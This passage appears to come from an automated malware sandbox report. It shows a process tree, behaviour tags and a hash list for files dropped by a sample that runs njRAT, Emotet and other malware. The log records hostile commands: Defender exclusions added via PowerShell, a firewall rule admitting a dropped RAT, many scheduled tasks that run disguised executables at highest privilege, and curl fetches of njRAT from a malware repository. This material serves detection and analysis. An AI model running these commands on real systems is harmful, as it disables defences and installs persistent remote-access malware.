                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:244
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\csrss.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:1020
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\lsass.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2256
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\Registry.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5728
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\bCL9REkyc5.bat"
                7⤵
                  PID:912
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    8⤵
                      PID:3284
                    • C:\winsessionnet\Registry.exe
                      "C:\winsessionnet\Registry.exe"
                      8⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5692
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1964
          • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe
            C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3572
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1368
          • C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe
            C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2912
            • C:\njRAT.exe
              "C:\njRAT.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:872
            • C:\njq8.exe
              "C:\njq8.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1680
              • C:\Users\Admin\AppData\Local\Temp\windows.exe
                "C:\Users\Admin\AppData\Local\Temp\windows.exe"
                5⤵
                • Drops startup file
                • Executes dropped EXE
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1960
                • C:\Windows\SysWOW64\netsh.exe
                  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\windows.exe" "windows.exe" ENABLE
                  6⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:2436
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:4020
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe"
          1⤵
            PID:1460
            • C:\Windows\system32\curl.exe
              curl --help
              2⤵
                PID:1216
              • C:\Windows\system32\curl.exe
                curl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip
                2⤵
                  PID:6108
                • C:\Windows\system32\curl.exe
                  curl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip -o njrat.exe
                  2⤵
                    PID:4244
                  • C:\Windows\system32\curl.exe
                    curl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip -o njrat.zip
                    2⤵
                      PID:2668
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:1752
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                      1⤵
                        PID:2464
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\unsecapp.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1264
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Users\Default User\unsecapp.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4792
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\unsecapp.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3436
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2332
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4496
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:6112
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1064
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4936
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4976
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Windows\twain_32\conhost.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:400
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\twain_32\conhost.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2076
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Windows\twain_32\conhost.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5688
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\winsessionnet\Registry.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5216
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4684
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5396
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setups" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1008
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setup" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5348
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setups" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5780
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setups" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\setup.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:984
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setup" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\setup.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2848
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "setups" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\setup.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3328
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\smss.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1480
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5340
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1160
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "PortwebSavesP" /sc MINUTE /mo 10 /tr "'C:\Windows\Temp\PortwebSaves.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:248
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "PortwebSaves" /sc ONLOGON /tr "'C:\Windows\Temp\PortwebSaves.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2108
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "PortwebSavesP" /sc MINUTE /mo 5 /tr "'C:\Windows\Temp\PortwebSaves.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4788
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3264
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2580
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4656
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3932
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3140
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3856
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5916
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5976
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:4952
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\RuntimeBroker.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:6032
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\RuntimeBroker.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3332
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\RuntimeBroker.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:6128
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "regsvr32r" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1444
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "regsvr32" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3892
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "regsvr32r" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:560
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\winsessionnet\csrss.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:6104
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\winsessionnet\csrss.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5712
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\winsessionnet\csrss.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1200
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1092
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:2904
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1412
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\winsessionnet\Registry.exe'" /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:3704
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:5672
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Scheduled Task/Job: Scheduled Task
                        PID:1192
                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe
                        "C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe"
                        1⤵
                        • System Location Discovery: System Language Discovery
                        PID:712

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe

                        Filesize

                        1.3MB

                        MD5

                        ad823965fda5d6901ab6a2bc0e153cee

                        SHA1

                        7ebaec14300ef03501785e9bc1637963ebbc49b0

                        SHA256

                        2c9a19274f314a4f2f728c51dc117196f7c176c6952275e3ba58184a2d6a95d9

                        SHA512

                        1c8897f5abbed300029c229b52c5fefd4ec1731cf71b1463f2a81ee085ea0190d766684b2c3057eb0fa6ddedfe97aae9c6c940bb8cdd90c226c02b406c42f9b9

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        7d760ca2472bcb9fe9310090d91318ce

                        SHA1

                        cb316b8560b38ea16a17626e685d5a501cd31c4a

                        SHA256

                        5c362b53c4a4578d8b57c51e1eac15f7f3b2447e43e0dad5102ecd003d5b41d4

                        SHA512

                        141e8661d7348ebbc1f74f828df956a0c6e4cdb70f3b9d52623c9a30993bfd91da9ed7d8d284b84f173d3e6f47c876fb4a8295110895f44d97fd6cc4c5659c35

                      • C:\Users\Admin\AppData\Local\Temp\7z.dll

                        Filesize

                        1.2MB

                        MD5

                        cd479d111eee1dbd85870e1c7477ad4c

                        SHA1

                        01ff945138480705d5934c766906b2c7c1a32b72

                        SHA256

                        367f8d1bfcf90ae86c0c33b0c8c9e6ec1c433c353d0663ebb44567607402c83d

                        SHA512

                        8b801bfbb933e0dc77090555fa258d416cbe9ed780fb1821aed532a979617082b29e0b6f8fb85f73a9e93c98981426c92c498a41c49f823707da3e6b7bb30128

                      • C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip

                        Filesize

                        699KB

                        MD5

                        ff84853a0f564152bd0b98d3fa63e695

                        SHA1

                        47d628d279de8a0d47534f93fa5b046bb7f4c991

                        SHA256

                        3aaa9e8ea7c213575fd3ac4ec004629b4ede0de06e243f6aad3cf2403e65d3f2

                        SHA512

                        9ea41fe0652832e25fe558c6d97e9f9f85ccd8a5f4d00dbcc1525a20a953fbd76efb64d69ce0fdd53c2747159d68fcb4ac0fa340e0253b5401aebc7fb3774feb

                      • C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip

                        Filesize

                        794KB

                        MD5

                        ab1187f7c6ac5a5d9c45020c8b7492fe

                        SHA1

                        0d765ed785ac662ac13fb9428840911fb0cb3c8f

                        SHA256

                        8203f1de1fa5ab346580681f6a4c405930d66e391fc8d2da665ac515fd9c430a

                        SHA512

                        bbc6594001a2802ed654fe730211c75178b0910c2d1e657399de75a95e9ce28a87b38611e30642baeae6e110825599e182d40f8e940156607a40f4baa8aeddf2

                      • C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip

                        Filesize

                        289KB

                        MD5

                        ebe6bc9eab807cdd910976a341bc070d

                        SHA1

                        1052700b1945bb1754f3cadad669fc4a99f5607b

                        SHA256

                        b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7

                        SHA512

                        9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25ddfsbi.enp.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\AppData\Local\Temp\dc.zip

                        Filesize

                        1.0MB

                        MD5

                        98ec05a414d61fbda2bebf65ee8a28ab

                        SHA1

                        472b24c2bc4600ab0b83b0344ef2e543e6635a79

                        SHA256

                        d62f7aa61599d5366964c419c7c2afd364e61753d1d7ba6888ae51bb65555cbd

                        SHA512

                        0773dd9151d15f989912403df1b8754884b8a802500fca307d7675f5ad78774477cf671785d0603adafa408f91258fb1d7be4b6761a117f02714e305374f9f14

                      • C:\Users\Admin\AppData\Local\Temp\eternity.zip

                        Filesize

                        1.2MB

                        MD5

                        a68f97544c9b41270008b8bf68992a75

                        SHA1

                        a1ccc56eca977792cf7a751dff4ebf1f8afe8591

                        SHA256

                        eae2bbca8b001849a03bad0b21d9e876c1931685ce37876e08a9dc77e022bfad

                        SHA512

                        9bb6e21c98dada07b3c0d0c7f6addaf9d043441282fc5df4c5f348fffac047e5e662ef92a9f9df617cab79e1abbbb8648a4a3a32c1f2044aebf278fcdbdf68b3

                      • C:\Users\Admin\AppData\Local\Temp\laplas.zip

                        Filesize

                        643KB

                        MD5

                        5c2ed2918e16a5391a075cac5ea253f8

                        SHA1

                        65b69a1fbc7c7192ba16d3d82bbc5311b34ee6c6

                        SHA256

                        ff505670ae62fd1bfca0bf10d8cfb7874e3f5d5c823f5c8acf9e796cda5a1943

                        SHA512

                        f1a75b9246810613b1862c357d313ef1a681e60992a24d597380b5bcdb7e302918c3e74a7739428573e015cccf1672b789277169fee8f0db91c2f207f66189ec

                      • C:\Users\Admin\AppData\Local\Temp\njrat.zip

                        Filesize

                        315KB

                        MD5

                        6334c037e4d195c0c3784b24d3630be5

                        SHA1

                        c0b855763f7338447ed66475a37b79588bd88084

                        SHA256

                        60a28dabb7b2682e11302dbbfa4b49d74d57c42b603661840a8ecc6adb0beaf0

                        SHA512

                        342dca729c250d4ea1f616a1c2c2938cd4f7082c4ac5ecc6e5539de98cf9442f043e7dd2e872f85307e5629dd26c44c2005665a572207e808c71de6a8e68b084

                      • C:\Users\Admin\AppData\Local\Temp\socelars.zip

                        Filesize

                        5.2MB

                        MD5

                        ccaf8b6a14e94e5163c55b0b84a6a97c

                        SHA1

                        47c67a525e642808a1ce9a6ce632bc1e1fd3dfae

                        SHA256

                        966b5aa687ca823f72ed6054802e3347908fe1ace10336e682d96d5d66db68ae

                        SHA512

                        e82c8dd091dec5cb4e522296784c8e586a186af10598b6ad9f9feaa996c0898bb6988f602e8a32741a24bcb9f4c11e07d806e3323a46aeaafaee93b7cc1756c7

                      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe

                        Filesize

                        335KB

                        MD5

                        76a0b06f3cc4a124682d24e129f5029b

                        SHA1

                        404e21ebbaa29cae6a259c0f7cb80b8d03c9e4c0

                        SHA256

                        3092f736f9f4fc0ecc00a4d27774f9e09b6f1d6eee8acc1b45667fe1808646a6

                        SHA512

                        536fdb61cbcd66323051becf02772f6f47b41a4959a73fa27bf88fe85d17f44694e1f2d51c432382132549d54bd70da6ffe33ad3d041b66771302cc26673aec7

                      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe

                        Filesize

                        565KB

                        MD5

                        54075ad554d012f139b7d2ea7ccb7e72

                        SHA1

                        54a7ffaf3658addbec2c945a9aeec14d8f5c3e79

                        SHA256

                        c82c78bb017655f5d67e1780b4471f6aee04fd7f5ce85f500f9bdee7f21221ba

                        SHA512

                        cf82d19fef31bda96427096124a2843123649a69ce25a64e12d2b14a1c901b953bdf3e0d2101944f09976e3b248fbfb1dd07df4999d68c83acaab440b2159798

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]

                        Filesize

                        739KB

                        MD5

                        382430dd7eae8945921b7feab37ed36b

                        SHA1

                        c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128

                        SHA256

                        70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b

                        SHA512

                        26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]

                        Filesize

                        816KB

                        MD5

                        7dfbfba1e4e64a946cb096bfc937fbad

                        SHA1

                        9180d2ce387314cd4a794d148ea6b14084c61e1b

                        SHA256

                        312f082ea8f64609d30ff62b11f564107bf7a4ec9e95944dfd3da57c6cdb4e94

                        SHA512

                        f47b05b9c294688811dd72d17f815cce6c90f96d78f6835804d5182e2f4bfbd2d6738de854b8a79dea6345f9372ba76a36920e51e6cb556ef4b38b620e887eb4

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe

                        Filesize

                        1.6MB

                        MD5

                        b4bb269011c062cb169969258ab0e1b9

                        SHA1

                        6f17b1266eabfad46eee405f8245c604468a52c5

                        SHA256

                        bd1d4e5e6380d4e4c398b3bd1f3bfc20ffa576c004773b1f637fd272b771c125

                        SHA512

                        e89088f16658ac3d5d69808080b47638a4f5d699ac3569cc88b07e3a8f4666e89e570cfb4512c161e8ccf9b5537e7ea281fc440b06b7484af33b94f55ecacd43

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe

                        Filesize

                        5.4MB

                        MD5

                        3c23db5eff4d85d8ff9addb170e32d53

                        SHA1

                        1f109f5b9b17a71e4ef7e200fccab72b21836017

                        SHA256

                        c2c694174fbf54aa19e05636589ac4eaf81d6b342c96be869bf57da18b930d98

                        SHA512

                        ad428facaddaba14acc1979ad6d93c4f665f58b4c9d14b28f2c0c1818290abe9dbbbd4e1c464bd8d38caebb101d6e4e85cf85fdaf423a0f3f5d0d134d8953f69

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe

                        Filesize

                        1.3MB

                        MD5

                        4a9ffb6962544b4dd55ce6ff568810b7

                        SHA1

                        a04a58215250d0bbe79fd946e6f5a73e8be27133

                        SHA256

                        8102f6139e928e1e844e7625f41bfa2b65f6ba05e95c43f1ecb329d72a91592b

                        SHA512

                        5b7e84b8a49200960a5312a373ef6245c2d997b5e3b9a761cb15a83ffe2edf9dc860c1bcd7ebb9eb7cd774c6f1364d505016446f713acfdfb682bb01c148053b

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll

                        Filesize

                        534KB

                        MD5

                        56bb8500d7ab6860760eddd7a55e9456

                        SHA1

                        e9b38c5fb51ce1a038f65c1620115a9bba1e383d

                        SHA256

